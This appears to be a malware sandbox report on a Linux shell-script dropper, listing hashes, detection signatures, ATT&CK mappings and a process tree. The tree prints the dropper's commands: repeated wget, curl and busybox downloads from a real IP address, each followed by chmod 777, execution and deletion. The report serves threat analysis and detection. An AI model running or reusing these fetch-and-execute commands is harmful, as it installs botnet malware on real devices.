9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e

Analysis

max time kernel
24s
max time network
32s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/11/2024, 05:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
Size 10KB
Sample241119-frtcdazrcv
SHA256 9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e
MD5 e3b5d19a004ba0f4b3ebb743dc63ef5b
SHA1 939dcb997017982ee5438e12d01ea92df4588fe8
SHA512 9a5ad6313d0784b5778b7a446f578a74cb63b0f75b0c4734674a21937537aa03ff7a9a6812f150c7660bc59af1892dcdbc7a508dd83564b947feea32e97d6747
SSDEEP 192:m/L+7UcsKWi7lp7U7Ko3q7ckjLSLeLJIHgqa3j5deSB7madxxp+8EDxEMT9lrEMO:LfX42DUIJogqWIIs/vUIJog4
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
674	chmod
737	chmod
774	chmod
836	chmod
687	chmod
722	chmod
790	chmod
830	chmod
756	chmod
768	chmod
824	chmod
693	chmod
707	chmod
807	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	675	OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	688	WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	694	a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	709	qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	723	tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	738	vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	757	3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	769	mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	775	9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	791	HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	809	lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	825	AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	831	iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	837	O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7

Checks CPU configuration 1 TTPs 14 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	curl
File opened for modification	/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	curl
File opened for modification	/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	curl
File opened for modification	/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	curl
File opened for modification	/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	curl
File opened for modification	/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	curl
File opened for modification	/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	curl
File opened for modification	/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	curl
File opened for modification	/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	curl
File opened for modification	/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	curl
File opened for modification	/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	curl
File opened for modification	/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	curl
File opened for modification	/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	curl
File opened for modification	/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	curl

/tmp/9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
/tmp/9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:655
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:663
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:671
- /bin/chmod
  chmod 777 OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  ./OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Executes dropped EXE
  PID:675
- /bin/rm
  rm OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:676
- /usr/bin/wget
  wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:678
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:686
- /bin/chmod
  chmod 777 WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  ./WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Executes dropped EXE
  PID:688
- /bin/rm
  rm WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:689
- /usr/bin/wget
  wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:690
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:691
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:692
- /bin/chmod
  chmod 777 a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  ./a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Executes dropped EXE
  PID:694
- /bin/rm
  rm a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:695
- /usr/bin/wget
  wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:696
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:704
- /bin/chmod
  chmod 777 qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  ./qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Executes dropped EXE
  PID:709
- /bin/rm
  rm qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:710
- /usr/bin/wget
  wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:719
- /bin/chmod
  chmod 777 tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  ./tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Executes dropped EXE
  PID:723
- /bin/rm
  rm tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:725
- /usr/bin/wget
  wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:734
- /bin/chmod
  chmod 777 vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  ./vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:739
- /usr/bin/wget
  wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:752
- /bin/chmod
  chmod 777 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  ./3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:759
- /usr/bin/wget
  wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:767
- /bin/chmod
  chmod 777 mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  ./mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Executes dropped EXE
  PID:769
- /bin/rm
  rm mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:770
- /usr/bin/wget
  wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:773
- /bin/chmod
  chmod 777 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  ./9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:776
- /usr/bin/wget
  wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:787
- /bin/chmod
  chmod 777 HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  ./HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:792
- /usr/bin/wget
  wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:804
- /bin/chmod
  chmod 777 lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  ./lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:810
- /usr/bin/wget
  wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:820
- /bin/chmod
  chmod 777 AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  ./AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:826
- /usr/bin/wget
  wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:829
- /bin/chmod
  chmod 777 iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  ./iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:832
- /usr/bin/wget
  wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:835
- /bin/chmod
  chmod 777 O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  ./O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:838
- /usr/bin/wget
  wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:839

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj

Path /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads